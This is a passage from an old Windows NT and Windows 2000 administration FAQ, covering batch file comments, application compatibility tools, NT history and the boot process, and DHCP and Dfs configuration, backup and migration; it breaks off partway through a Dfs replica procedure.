A. When NT batch file processing encounters the goto command, it ignores any lines in the batch file until it finds the appropriate goto label:

@echo off
goto Begin

BATCHFILE.BAT v1.01 - does what batch files do
written 09/09/1999 by Joe Programmer

MODIFICATION HISTORY:

v1.00 09/04/1999 jp
initial version

v1.02 09/09/1999 jp
converted all dates in comments to four-digit
years for Y2K compliance

:Begin
<...>

:End

Thanks to Royce Williams for this one.

Another way from Noel Casey:

A further method for freehand comments in batch files is to use a double colon ::

This works in NT4 and W95

Example

@echo off
echo Hello
echo.

:: This is equivalent to rem at the begining of line
rem This is an equivalent statement to the line above
:: This looks and reads better than rem
:: Thats all
echo Bye!


Q. Does application x work with NT 4.0?

A. See the list below

  • PCPlus V3.0 works, but you cannot use the wordsheet editor that comes with it.
  • WordPerfect 6.1 works, but 'Draw' returns peculiar anomalies. In earlier versions of WP it include 'PTR.EXE' which was a kind of printer driver program. In NT drivers edited with PTR add some mysterious control codes that cause the printer to print additional blank pages. The distribution driver with WP61 does not do this.
  • Quake does NOT work under NT, however there is a version called WinQuake that does.


Q. Does game x work with NT 4.0?

A. See http://www.ntgamepalace.iscool.net for an extensive lists of games that work with NT4.0, and tips to make them work.


Q. Does NT run 16bit applications?

A. There is no definitive answer. NT does not allow an application to directly access hardware, so any application that directly tries to access hardware would cause a violation, also private device drivers are not supported (such as a VXD). A VXD is usually a .386 file.

Besides direct hardware access, some 16 bit apps will not run under NT because they use a 16 bit API function call that either has no 32 bit equivalent, or the 32 bit equivalent has a completely different function call (different number/types of arguments) and NT can't convert the 16 bit version to the 32 bit version. If either of these things occur, NT will halt execution of the 16 bit app and throw some sort of error similar to the one it throws when direct hardware access occurs. This doesn't happen very often, but it seems that NT 4.0 has more problems with 16 bit code than NT 3.51 due to the 16 bit to 32 bit conversion process.

As a side note, this conversion of 16 bit code to 32 bit code is one of the reasons that NT will run 16 bit code slower than Win95 given all other things held equal. This has nothing to do with the Pentium Pro's problem with 16 bit code, it is an NT problem.

NTVDM simulates MD-DOS environment for MD-DOS-based applications. Applications that run in user mode do not have direct access to hardware. The VDDs intercept the applications' h/w calls and interact with the Windows NT 32-bit device driver. This process is transparent to the application.


Q. Will NT 3.51 drivers work with NT 4.0?

A. Standard NT drivers will automatically be upgraded from the NT CD. 3rd party drivers may not work and the supplier should be contacted. In particular Video drivers and Printer drivers were moved for NT4.0 from Win32 to the NT executive to improve performance and reduce memory use (basically moved from Ring 3 - user mode to Ring 0 - kernel mode). This does have the effect that a graphics driver could crash NT.


Q. How can I fool a program into thinking my NT installation is actually Windows 95?

A. Windows NT 4.0 ships a utility called IMAGECFG.EXE in the support\debug folder of the Windows NT 4.0 CD-ROM (it does not ship with Windows 2000).

Also in the support\debug folder are the files

  • setwin95.cmd - to set the system in Windows 95 mode
  • setnt351.cmd - to set the system in Windows NT 3.51 mode

To run you just run imagecfg with one of the the files. Type imagecfg /? for more information.


Q. How can I fool a program into thinking my Windows 2000 installation is actually Windows NT/95/98?

A. Windows 2000 provides a utility called APCOMPAT.EXE which can fool a program into thinking it is running on Windows NT (service pack 3,4 or 5), Windows 95 or Windows 98. The syntax of the command is as follows:

apcompat [-?] [-v version name] [-x program path] [-d] [-t] [-g] [-k]

Parameters:

-? | Displays the syntax for the command line parameters.
-v <version name> | Specifies the name of the operating system you want to return to the specified program.
 | 1 | Returns the version WindowsNT4 SP3
 | 2 | Returns the version WindowsNT4 SP4
 | 3 | Returns the version WindowsNT4 SP5
 | 4 | Returns the version Windows98
 | 5 | Returns the version Windows95
-x <program path> | Specifies the path and name of the executable (.exe) file for the program you want to run.
-d | Disables the Heap Manager for the portion of memory reserved for the specified program
-t | Uses \Temp for the Temp folder when running the specified program
-g | Corrects disk space detection.
-k | Stores the specified Application Compatibility settings

The tool is part of the Windows 2000 support tools and is documented in the w2rksupp.chm HTML Help file. You can run APCOMPAT.EXE with no qualifiers which will launch a GUI version allowing you to make choices on screen. It can be found in support.cab in the support\tools folder of your CD.


Q. Is BackOffice Server Windows 2000 compatible?

A. BackOffice Server and its components such as Exchange, SQL will work on Windows 2000 however specific service pack's/fixes are required for the products to enable full functionality.

A list of fixes needed are listed at http://www.microsoft.com/backofficeserver/prodinfo/win2000sps.htm.


Q. How do I get the RIO 500 player to work on Windows 2000?

A. I bought one of these and wasted ages trying to get it to work until I found some great instructions at http://sites.netscape.net/richij/rio500-win2000.html. The instructions show you how to use a special USB driver and a special version of the Audio software.

An alternative method which I've since found is to use the same USB driver (http://www.ntfaq.com/ntfaq/download/riousb.zip) and extract to a directory. Attach the RIO500 via USB and power it on. When it asks for a driver specify the location you extracted the ZIP to.

To actually copy the MP3 files to the RIO500 you can use RealJukeBox (http://www.realjukebox.com) which has a RIO500 add-on which is great. If you have trouble installing the add-on (maybe due to a firewall) just extract rio500.dll from http://www.ntfaq.com/ntfaq/download/rio500.zip to the Plug-in's directory of Real Jukebox (C:\Program Files\Real\RealJukebox\plugins), restart the software and you should be able to add it as a device (Options - Preferences - Portable players/storage - Add) and copy away. Its very cool :-)


Q. What are the differences between NT Workstation and NT Server?

A. See table Below

 | Workstation | Server
Connection to other clients | 10 | Unlimited
Connection to other networks | Unlimited | Unlimited
Multiprocessing | 2 CPUs | 4 CPUs
RAS | 1 connection | 256 connections
Directory Replication | Import | Import and Export
Macintosh Services | No | Yes
Logon Validation | No | Yes
Disk Fault Tolerance | No | Yes
Network | Peer-to-peer | Server


Q. What does NT stand for?

A. NT actually stands for Northern Telecom but Microsoft licensed it and in the Windows sense stands for New Technology. Its also interesting to note its heritage
RSX -> VMS -> ELN -> NT all major designs of David Cutler
Also VMS +1 letter = WNT (Windows NT) :-) (aka HAL and IBM in 2001)


Q. What is the NT Boot Process?

A. Firstly the files required for NT to boot are

  • Ntldr - This is a hidden, read-only system file that loads the operating system
  • Boot.ini - This is read-only system file, used to build the Boot Loader Operating System Selection menu on Intel x86-based computers
  • Bootsect.dos - This is a hidden file loaded by Ntldr if another operating system is selected
  • Ntdetect.com - This is a hidden, read-only system file used to examine the hardware available and to build a hardware list.
  • Ntbootdd.sys - This file is only used by systems that boot from a SCSI disk.

The common Boot sequence files are

  • Ntoskrnl.exe - The Windows NT kernel
  • System - This file is a collection of system configuration settings
  • Device drivers - These are files that support various device drivers
  • Hal.dll - Hardware Abstraction Layer software

The boot sequence is as follows

  1. Power on self test (POST) routines are run
  2. Master Boot Record is loaded into memory, and the program is run
  3. The Boot Sector from Active Partition is Loaded into Memory
  4. Ntldr is loaded and initialized from the boot sector
  5. Change the processor from real mode to 32-bit flat memory mode
  6. Ntldr starts the appropriate minifile system drivers. Minifile system drivers are built into Ntldr and can read FAT or NTFS
  7. Ntldr reads the Boot.ini file
  8. Ntldr loads the operating system selected, on of two things happen
    * If Windows NT is selected, Ntldr runs Ntdetect.com
    * For other operating system, Ntldr loads and runs Bootsect.dos and passes control to it. The Windows NT process ends here
  9. Ntdetect.com scans the computer hardware and sends the list to Ntldr for inclusion in HKEY_LOCAL_MACHINE\HARDWARE
  10. Ntldr then loads Ntoskrnl.exe, Hal.dll and the system hive
  11. Ntldr scans the System hive and loads the device drivers configured to start at boot time
  12. Ntldr passes control to Ntoskrnl.exe, at which point the boot process ends and the load phases begin


Q. What is Virtual Memory?

A. Virtual Memory makes up for the lack of RAM in computers by using space on the hard disk as memory, Virtual Memory. When the actual RAM fills up (actually its before the RAM fills) then virtual memory is created on the hard disk. When physical memory runs out, the Virtual Memory Manager chooses sections of memory that have not been recently used and are of low priority and writes them to the swap file. This process is hidden from applications, and applications views both virtual and actual memory as the same.

Each application that runs under Windows NT is given its own virtual address space of 4GB (2GB for the application, 2GB for the operating system).

The problem with Virtual Memory is that as it writes and reads to the hard disk, this is much slower than actual RAM. This is why if an NT system does not have enough memory it will run very slowly.


Q. What is the history of NT?

A. In the late 1980's the Windows environment was created to run on the Microsoft DOS operating system. Microsoft and IBM joined forces to create a DOS replacement that would run on the Intel platform that led to the creation of OS/2, and at the same time Microsoft was working on a more powerful operating system that would run on other processor platforms. The idea was that the new OS would be written in a high level language (such as C) so it would be more portable.

Microsoft hired Dave Cutler (who also designed Digital's VMS) to head the team for the New Technology Operating System (NT :-) ). Originally the new OS was to be called OS/2 NT.

In the early 1990's Microsoft released version 3.0 of its windows OS which gained a large user base, and it was at this point that Microsoft and IBM's split started as the two companies disagreed on the future of their OS's. IBM viewed Windows as a stepping stone to the superior OS/2, where as Microsoft wanted to expand Windows to compete with OS/2, so they split, IBM kept OS/2 and Microsoft change OS/2 NT to Windows NT.

Nt was once called OS/3, and OS/2 V3, I am informed by a alpha tester for IBM & MS, he had a set of 5.25 diskettes from Microsoft, and that's how he got them.

The first version of Windows NT (3.1) was released in 1993 and had the same GUI as the normal Windows Operating System, however it was a pure 32 bit OS, but provided the ability to also run older DOS and Windows apps, as well as character mode OS/2 1.3 programs.

For a detailed history have a look at http://windowsnt.miningco.com


Q. How do I install the SYMBOL files?

A. Symbol files are produced by the linker when a program is built, and are used to resolve global variables and function names in an executable.

  1. Create a directory on your machine called SYMBOLS
    mkdir c:\winnt\symbols
  2. Copy over the symbols from the NT installation CD ROM
    xcopy <CD-ROM>:\Support\Debug\i386 c:\winnt\symbols /s
  3. If you have any service pack symbols you should extract these to the same directory, e.g. for Service Pack 2
    SYM_400I -d c:\winnt\symbols

For more information see Microsoft Knowledge Base article Q148659


Q. What is Windows NT?

A. Windows NT (both the Workstation and Server) is a 32-bit Operating System. It is a preemptive, multi-tasking Operating System, which means that the Operating System controls allocation of CPU time, not the applications, stopping one application from hanging the OS. NT supports multiple CPU's giving true Multi-tasking, using symmetrical multiprocessing, meaning the processors share all tasks, as opposed to asymmetrical multiprocessing, where the OS uses one CPU and the applications another. NT is also a Fault Tolerant Operating System, with each 32bit application operating in its own Virtual Memory address space (4 GigaBytes) which means one application cannot interfere with another's memory space.

Unlike earlier version of Windows (such as Windows for Workgroups and Windows 95), NT is a complete Operating System, and not an addition to DOS.

NT supports different CPU's: Intel x86, IBM PowerPC (Not to be supported for NT5.0) and DEC Alpha.

NT's other main plus is its Security with a special NT file system (NTFS) that allows permissions to be set on a file and directory basis.


Q. What is DHCP?

A. DHCP stands for Dynamic Host Configuration Protocol and is used to automatically configure a host during boot up on a TCP/IP network and also to change settings while the host is attached.

This means that you can store all the available IP addresses in a central database along with information such as the subnet mask, gateways, DNS servers etc.

The basics behind DHCP is the clients are configured to use DHCP instead of being given a static IP address. When the client boots up it sends out a BOOTP request for an IP address. A DHCP server then offers an IP address that has not been assigned from its database, which is then leased to the client for a pre-defined time period.

If the DHCP client is Windows 2000 and no offer is made and IP auto configuration has not been disabled the client will attempt to find and use an IP address not currently in use otherwise TCP/IP will be disabled.


Q. How do I install the DHCP Server Service?

A. The DHCP server service can only be install on a NT Server.

  1. Start the Network Control Applet by clicking on Network from Control Panel (Start - Settings - Control Panel) or right click on Network Neighborhood and select Properties
  2. Click on the Services tab and click Add
  3. Select "Microsoft DHCP Server" and click OK
  4. You will be prompted to insert the NT Server installation CD or say where the i386 directory is
  5. A warning that all local adapters must use a static IP address and click OK
  6. Click Close and select Yes to reboot

Under Windows 2000 to install perform the following:

  1. Start the Add/Remove Programs Control Panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. In the left hand pane click 'Add/Remove Windows Components"
  3. Click the 'Components' button to start the Components wizard
  4. Click Next
  5. Select 'Networking Services' and click Details
  6. Check the 'Dynamic Host Configuration Protocol (DHCP)' option and click OK
  7. Click Next and the relevant files and services will be configured.
  8. Click Finish when all operations have completed
  9. Click Close to the Add/Remove Programs dialog


Q. How do I configure DHCP Server Service?

A. The DHCP Server Service is configured using "DHCP Manager" that is installed after the installation of the DHCP Server Service.

  1. Start DHCP Manager (Start - Programs - Administrative Tools - DHCP Manager)
  2. Double click "*Local Machine*"
  3. From the Scope menu select Create
  4. A dialog will be shown and following should be entered
    - Start Address, e.g. 200.200.200.10
    - End Address, e.g. 200.200.200.100
    this would mean the address 200.200.200.10 to 200.200.200.100 would be available
    - Subnet Mask, e.g. 255.255.255.0
    - Exclusion - start and end, e.g. 200.200.200.20 and 200.200.200.30, would mean available addresses would 200.200.200.10-200.200.200.20 and 200.200.200.30-200.200.200.100
    - Exclusion - just start is a single address, e.g. 200.200.200.56
    - Set lease duration, by default 3 days, however can be set to unlimited
    - Name - this is the name of the scope, e.g. "subnet 200.200.200"
    - Comment - anything you want
  5. Click OK
  6. A message that the Scope has been added, but is not active, would you like it to be active, click Yes.

Usually items such as DNS servers, WINS server etc will be configured on a global scale and this is also done using DHCP Manager

  1. Select the Scope, and select Global from the "DHCP Options" menu
  2. Select "06 DNS Servers" and click Add
  3. Click Value button
  4. Click Edit Array at the bottom
  5. Enter the IP address and click ADD, continue adding until all added
  6. Click OK to close the Edit Array dialog
  7. Select "15 Domain name" and click Add
  8. Select it and edit the string at the bottom, e.g. savilltech.com
  9. Click OK to exit


Q. How do I configure a client to use DHCP?

A. For NT workstation and Windows95 follow the instructions below:

  1. Start the Network Control Applet by clicking on Network from Control Panel (Start - Settings - Control Panel) or right click on Network Neighborhood and select Properties
  2. Click on the Protocol tab
  3. Select TCP/IP and click Properties
  4. Select "Obtain an IP address from a DHCP Service". DHCP settings will only override IP address and subnet mask locally configured. If you have configured DNS, WINS etc locally then the DHCP configuration will not overwrite it.

For Windows 98:

  1. Start the Network Control Applet by clicking on Network from Control Panel (Start - Settings - Control Panel) or right click on Network Neighborhood and select Properties
  2. Select 'TCP/IP -> Adapter' and click Properties
  3. Select the 'IP address' tab
  4. Select "Obtain an IP address automatically".

For a Windows 2000 machine perform the following:

  1. Right click on 'My Network Places' and select Properties
  2. Right click on 'Local Area Connection' and select Properties
  3. Select 'Internet Protocol (TCP/IP)' and click Properties
  4. Select 'Obtain an IP address automatically" (and repeat for DNS) and click OK


Q. How can I compress my DHCP database?

A. NT Server ships with a utility called JETPACK.EXE which can be used to compact DHCP and WINS databases. To compact your DHCP database perform the following:

  1. Start a command prompt (cmd.exe)
  2. Enter the following commands
    cd %SystemRoot%\SYSTEM32\DHCP
    e.g. cd d:\winnt\system32\dhcp
    net stop DHCPSERVER
    jetpack DHCP.MDB TMP.MDB
    net start DHCPSERVER

Note: While you stop the DHCP service, clients using DHCP to receive a TCP/IP address will not be able to start this protocol and may hang.

Jetpack actually compacts DHCP.MDB into TMP.MDB, then deletes DHCP.MDB and copies TMP.MDB to DHCP.MDB! Simple :-)

For more information, see Knowledge base article Q145881 at http://support.microsoft.com/support/kb/articles/q145/8/81.asp


Q. How can a DHCP client find its IP address?

A. Depending on the client:

Windows NT machine - type ipconfig from the command prompt
Windows 95 machine - run winipcfg.exe


Q. How can I move a DHCP database from one server to another?

A. Perform the steps below on the server that currently hosts the DHCP Server service. Be warned that while doing this no DHCP clients will be able to start TCP/IP so this should be done outside working hours.

  1. Log on as an Administrator and stop DHCP (Start - Settings - Control Panel - Services - Microsoft DHCP server - Stop).
  2. You also need to stop DHCP from starting again after a reboot so start the Services Control Panel applet and select Microsoft DHCP Server and click Startup. From the startup choose disabled and click OK.
  3. Copy the DHCP directory tree %systemroot%\system32\DHCP to a temporary storage area for use later.
  4. Start the registry editor (regedt32.exe)
  5. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer \Configuration
  6. From the Registry menu, click Save Key. Create a name for this key, for example dhcpcfg.bck
  7. Close the registry editor

Optionally if you want to remove DHCP from the source machine totally delete the DHCP directory (%systemroot%\system32\dhcp) and then delete the DHCP Service (Start - Settings - Network - Services - Microsoft DHCP Server - Remove)

On the new DHCP server perform the following

  1. Log on as an Administrator
  2. If the server does not have the DHCP server service installed, install it (Start - Settings - Control Panel - Network - Services - Add - DHCP Server)
  3. Stop the DHCP service (Start - Settings - Control Panel - Services - Microsoft DHCP server - Stop).
  4. Delete the contents of %systemroot%\system32\dhcp
  5. Copy the backed up DHCP directory tree from the storage area to %systemroot%/system32/dhcp, but rename the file system.mdb to system.src. You may not have this file if you are using NT 4.0, skip this step.
  6. Start the registry editor (regedt32.exe)
  7. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Configuration and select it
  8. From the registry menu select restore
  9. Located the file dhcpcgf.bck you saved from the original machine and click open
  10. Click Yes to the warning
  11. Close the registry editor
  12. Reboot the machine


Q. How do I create a DHCP Relay Agent?

A. If you have routers separating some of your DHCP clients from the DHCP server you may have problems if they are not RFC compliant. This can be solved by placing a DHCP relay agent on the local network area which is not actually a DHCP server which communicates on behalf of the DHCP Server. The DHCP Relay Agent must be a Windows NT Server computer.

  1. On the NT Server log on as an Administrator
  2. Start the Network control panel applet (Start - Settings - Control Panel - Network)
  3. Click the Services tab and click Add
  4. Select "DHCP Relay Agent" and click OK
  5. Type the path of the files (e.g. d:\i386) and click OK
  6. You will be asked if you wish to add IP address to the DHCP servers list, click Yes
  7. Click the DHCP relay tab and click Add
  8. In the DHCP Server field enter the IP address of the DHCP Server and click Add
  9. Click OK
  10. Restart the computer


Q. How can I stop the DHCP Relay Agent?

A. All you have to do is stop the DHCP Relay Agent service:

  1. Log on as an Administrator
  2. Start the Services control panel applet (Start - Settings - Control Panel - Network)
  3. Select "DHCP Relay Agent"
  4. Click the startup button
  5. Click the disabled and click OK
  6. Close the control panel applet
  7. You can reboot or just stop the service


Q. How can I backup the DHCP database?

A. The DHCP database backs itself up automatically every 60 minutes to the %SystemRoot%\System32\Dhcp\Backup\Jet directory. This interval can be changed:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters\BackupInterval
  3. Double click on BackupInterval and set to the number of minutes you want the backup to be performed. Click OK
  4. Close the registry editor
  5. Stop and restart the DHCP server service (Start - Settings - Control Panel - Services - DHCP Server - Start and Stop)

You could backup the %SystemRoot%\System32\Dhcp\Backup\Jet directory if you wish.


Q. How can I restore the DHCP database?

A. Perform one of the following:

  1. When the DHCP Server service starts, if an error is detected in the database it will automatically restore the backup version
  2. Edit the registry and set HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters\RestoreFlag to 1, restart the DHCP Server service, this will restore the backed up version and set RestoreFlag back to the default 0
  3. Stop the DHCP Server service, copy the files from %SystemRoot%\System32\Dhcp\Backup\Jet to %SystemRoot%\System32\Dhcp and then start the DHCP Server service.


Q. How do I reserve a specific address for a particular machine?

A. Before performing this you will need to know the hardware address of the machine and this can be found by entering the command

ipconfig /all

Look for the line

Physical Address. . . . . . : 00-60-97-A4-20-86

Now at the DHCP server perform the following

  1. Log on as an Administrator
  2. Start the DHCP Server management software (Start - Programs - Administrative Tools - DHCP Manager)
  3. Double click on the DHCP server, e.g. *Local Machine*
  4. Select the light bulb and from the Scope menu select "Add Reservations"
  5. In the Add Reserved Clients dialog box you should enter the IP address you wish to reserve and in the "Unique Identifier" box enter the hardware address of the client machine (got from the ipconfig /all). Do not enter the hyphens, e.g.
    006097A42086
    Also enter a name for the machine (and a comment if you wish) and click Add
  6. Click close when you have added all the reservations


Q. What registry settings control the DHCP log in Windows 2000?

A. DHCP has always had auditing abilities for DHCP however these abilities have been expanded in 2000 to reduce problems CAUSED by the log files. These improvements will stop log files filling to take up whole partitions and cause system problems.

The following keys are all located under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters

Value Name | Type | Description
DhcpLogFilePath | REG_SZ | The partition and directory for the audit logs to be written to. Make sure you write the entire path
DhcpLogMinSpaceOnDisk | REG_DWORD | If free space falls below this number (in megabytes) audit logging is stopped
DhcpLogDiskSpaceCheckInterval | REG_DWORD | Number of times the audit log is written to before checking for free disk space
DhcpLogFileMaxSize | REG_DWORD | Maximum size in megabytes the logs can grow to. By default it is 7.


Q. How do I authorize a DHCP server in Windows 2000?

A. Any user running Windows 2000 server could install the DHCP server service causing potential problems and so Windows 2000 adds the concept of authorizing the servers with the Active Directory before they can service client requests. If the server is not authorized in the Active Directory then the DHCP service will not be started.

To Authorize a server perform the following:

  1. Logon as a member of the Enterprise Administrators group
  2. Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
  3. Select the DHCP root, right click and select 'Browse authorized servers'
  4. A list of authorized DHCP servers will be displayed. Click Add
  5. Enter the name or IP address of the DHCP server and click OK.
  6. Click Close

The red arrow [image] over the DHCP server should now change to a green one [image] if you select refresh (it may take a few minutes).


Q. How do I create a DHCP scope in Windows 2000?

A. A DHCP scope is a range of addresses that can be assigned to clients and can also optionally provide information about DNS servers, WINS etc.

DHCP scopes are configured using the DHCP MMC snap-in as follows:

  1. Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
  2. Right click on the server and select New - Scope from the context menu
  3. The scope creation wizard will be started, click Next
  4. Enter a name and comment for the scope. Click Next
  5. Enter the address range to use, for example from 200.200.200.1 to 200.200.200.15 (remember the host part cannot be 0). Also enter the subnet mask as either the number of bits used or the actual mask, e.g. 24 is the same as 255.255.255.0. Click Next
  6. You can specify addresses to be excluded either by range, e.g. 200.200.200.5 to 200.200.200.7 and click Add, or just enter a Start address and click Add, e.g. 200.200.200.12 to exclude a single address. Click Next
  7. You can now configure the lease time for the address. Setting too large will mean you will lose the use of addresses if the client machine is inactive for long periods of time, too short and you will generate unnecessary traffic renewing the address. The default 8 days is fine. Click Next
  8. The wizard gives the option to configure the most common DHCP options. Select Yes and click Next
  9. Enter the address of the gateway, and click Add. You can enter several. Click Next when all are entered.
  10. Enter the DNS domain, e.g. savilltech.com and the DNS server addresses. Click Next
  11. Enter the WINS server addresses and click Add. Click Next
  12. You will then be asked if you wish to activate the scope. Select your answer and click Next
  13. Click Finish to the wizard

The new scope will now be listed and the status as either Active or Inactive.

If you selected to not activate the scope it can be manually activated by right clicking on the scope, select 'All Tasks' and select Activate. The activation is immediate. Likewise you can deactivate by selecting deactivate

Useful links:

  • Q. How do I install the DHCP Server Service?
  • Q. How do I authorize a DHCP server in Windows 2000?


Q. How do I configure DHCP scope options in Windows 2000?

A. When you create a scope the more common options such as DNS and WINS servers can be configured but many more options are available.

  1. Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
  2. Expand the server
  3. Expand the scope whose options you wish to modify
  4. Select the 'Scope Options' branch and in the right hand window you will see the currently configured options.
  5. Right click on 'Scope Options' and select 'Configure Options'
  6. Select the Basic tab and you can configure other options by checking its box and entering the details. For example a Time Server, check '004 Time Server', enter an IP address and click Add.
  7. Click Apply. Click OK

The new option(s) will now show in the right hand window. You can change existing options by performing the above and selecting an item already configured and change the details in the Data entry area.

  • Q. How do I install the DHCP Server Service?
  • Q. How do I authorize a DHCP server in Windows 2000?
  • Q. How do I create a DHCP scope in Windows 2000?


Q. How can I view DHCP address leases in Windows 2000?

A. When a client is offered and accepts an IP address a 'lease' is created for x amount of days. To view current leases perform the following:

  1. Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
  2. Expand the server
  3. Expand the scope whose leases you wish to view
  4. Select the 'Address Leases' branch and in the right hand window you will see the current lease details.

It will give details of the IP address, client name and the lease expiration date. Expired leases are also shown for approximately one day but have a dimmed icon. This grace period protects a client lease in the event of the client and server being in different time zones, clocks not synced or simply offline.


Q. How do I change the DHCP address lease time in Windows 2000?

A. To modify the DHCP lease duration from the normal 8 days perform the following:

  1. Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
  2. Expand the server
  3. Right click the scope whose lease time you wish to change and select Properties
  4. Select the General tab
  5. At the bottom of the window you can select lease duration either Unlimited or a finite time.
  6. Click Apply then OK


Q. My Windows 2000 DHCP client has an IP address not in any scopes, how?

A. Microsoft have tried to make Windows 2000 as easy to setup on a small network as possible and by default and machines installed are setup to use DHCP. On a very small network you may not have a DHCP server and rather than the machines failing to initialize TCP/IP Microsoft has added code so that the machines will use an address not in use on the local network in the class B address range 169.254.x.x. This IP address range is reserved for internal use only and so should not clash with any "real" IP addresses on your network. The MacOS uses the same address range for its DHCP clients when a DHCP server cannot be contacted as does Windows 98 Second Edition.

This DHCP address allocation uses conflict detection via a NetBIOS naming broadcast over DHCP so each machine gets an IP address from the 169.254.x.x range which is not in use. The actual address initially chosed in random.

If any of your machines have a 169.254.x.x address it just means they could not contact a DHCP server so check your network connectivity.

This automatic IP addressing is known as Automatic Private IP Addressing (APIPA).


Q. What is Distributed File System?

A. Distributed File System (or Dfs) is a new tool for NT server that was not completed in time for inclusion as part of NT 4.0, but is now available for download. It basically allows Administrators to simulate a single server share environment that actually exists over several servers, basically a link to a share on another server that looks like a subdirectory of the main server.

This allows a single view for all of the shares on your network, which could then simplify your backup procedures as you would just backup the root share, and Dfs would take care of actually gathering all the information from the other servers across the network.

You do not have to have a single tree (Dfs directory structures are called trees), but rather could have a separate tree for different purposes, i.e. one for each department, but each tree could have exactly the same structure (sales, info. etc).

For more information on DFS see http://www.microsoft.com/ntserver/nts/downloads/winfeatures/NTSDistrFile/AdminGuide.asp


Q. Where can I get Dfs?

A. Dfs is available for download from Microsoft http://www.microsoft.com/ntserver/nts/downloads/winfeatures/NTSDistrFile/default.asp. Follow the instructions at the site and fill in the form about your site. The file you want for the I386 platform is dfs-v41-i386.exe.

Once downloaded just double click on the file, and agree to the license. It will then install files to your drive which you need to install.

Windows 2000 has Dfs built-in as a core component.


Q. How do I install Dfs?

A. Follow the instructions below, you must have first downloaded and expanded the file dfs-v40-i386.exe:

  1. Right click on Network Neighborhood and select properties (or double click Network in the Control Panel)
  2. Click the services tab and click Add
  3. Click the "Have disk" button and when asked where enter %systemroot%/system32/dfs. Do not actually type %systemroot%, but rather what it points to, i.e. d:\winnt, so the full path would be d:\winnt\system32\dfs
  4. Click Enter and press OK for Dfs installation
  5. A dialog box will be shown, and click "New Share", and type the name of the required root, e.g. c:\dfsroot and click "Yes" to create the directory
  6. Select the "Shared As" and fill in required information and click OK
  7. Close the dialogs and reboot the machine

Windows 2000 does not require you to install Dfs, it is built into the operating system, all it requires is configuration.


Q. How do I create a new folder as part of the Dfs?

A. Once Dfs is installed a new application, the Dfs Administrator, is created in the Administrative Tools folder. This app should be used to manage Dfs. To add a new area as part of the Dfs tree follow the procedures below:

  1. Start the Dfs Administrator application (Start - Programs - Administrative Tools - Dfs Administrator)
  2. Select "Add to Dfs" from the Dfs menu
  3. Enter the name of folder you want an existing share to be known as
  4. Next select what it should point to, you can either type the path, or use Browse.
  5. Click Add
  6. Close the Dfs Administrator


Q. How do I uninstall Dfs?

A. Follow the procedure below:

  1. Start the network control panel applet or right click on Network Neighborhood and select propertied
  2. Click the Services Tab
  3. Select "Distributed File System" and click remove
  4. You will be prompted to continue, click Yes
  5. A reboot will then be required


Q. How do I create a Dfs root volume in Windows 2000?

A. Windows 2000 currently supports one Dfs root per server however this will be expanded in future versions of the operating system/service packs.

The Distributed File System has its own DFS Microsoft Management Console snap-in which has a shortcut on the Administrative Tools folder.

To create a new Dfs root perform the following:

  1. Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
  2. Right click on the Distributed File System root and select ‘New Dfs Root…’
  3. The Dfs root creation wizard will be started, click Next to the introduction screen

  4. The next screen gives the option of a fault-tolerant Dfs root which uses the Active Directory to store the information or a standalone Dfs root if the Active Directory is not available or not wanted. Select ‘Create a domain Dfs root’ and click Next

    Select a domain to use. A list of available domains will be displayed and the current domain will be selected as the current choice. Click Next. This screen is not displayed if you are not creating a fault-tolerant Dfs root.
  5. You will need to select a server to host the Dfs root (a domain member if fault tolerant) and must be running the Dfs service. The current server will be selected but can be changed by typing a domain name or click Browse. Click Next
  6. The next stage is to select a share to act as the Dfs root. A list of existing shares will be displayed or you can select to create a new share by entering a share name and location. Click Next
  7. Each Dfs root requires a unique name and will, by default, be the name of the share although you can change this. You can also select to add the new Dfs root to the current console. Click Next
  8. A summary screen will be displayed showing the domain, server, share and Dfs root name. Click Finish to create the Dfs root
  9. Once complete a success message will be displayed. Click OK


Q. How can I add a replica Dfs root volume in Windows 2000?

A. If your Dfs root was created as a fault-tolerant Dfs root you may add other Dfs servers as part of the Dfs root replica set.

To add a new Dfs root replica member perform the following:

  1. Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
  2. Right click on the root you wish to add a replica to and select ‘New Root Replica’
  3. You will be asked for a server that will host a copy of the Dfs root. Click Next
  4. As when creating the original you need to either select an existing share or create a new folder and share. Click Finish
  5. Click OK to the success confirmation

These root replicas will all contain the Dfs root information by utilitizing and replicating via the Active Directory. You can actually see the Dfs information using the Active Directory Users and Computers snap-in, select Advanced Features view, System, Dfs.


Q. How can I add a child node to Dfs in Windows 2000?

A. Once your Dfs root is created the next step is to populate with child nodes/leafs which actually link to information.

To add a new Dfs child node or Dfs link as its now called perform the following:

  1. Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
  2. Right click on the root you wish to add a replica to and select ‘New Dfs Link’
  3. You will need to enter a location and name for the child node, a UNC for the destination and a comment. You can also select the amount of time clients cache the request.
  4. Click OK

Any subdirectories of the child leaf will also be published to the Dfs with the parent directory, for example if a share, ntfaq, was added as a child node to Dfs, any subdirectories of that share would be viewable on the Dfs tree as children of the documents Dfs entry.


Q. How can I add a replica child node to Dfs in Windows 2000?

A. The Windows 2000 version of Dfs allows child replica sets to be created in which a single Dfs leaf points to multiple shares on different servers the File Replication Service will keep the contents of all shares in sync with each other. This allows fault tolerance AND load balancing.

Members of a node replica set must:

  1. All be members of the domain
  2. Use NTFS 5.0
  3. Must be on different servers. You cannot replicate between shares on the same server.

To add a new Dfs child replica member perform the following:

  1. Ensure an up-to-date copy of the resource to which a new replica member is to be added is placed in the new share which will join the set
  2. Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
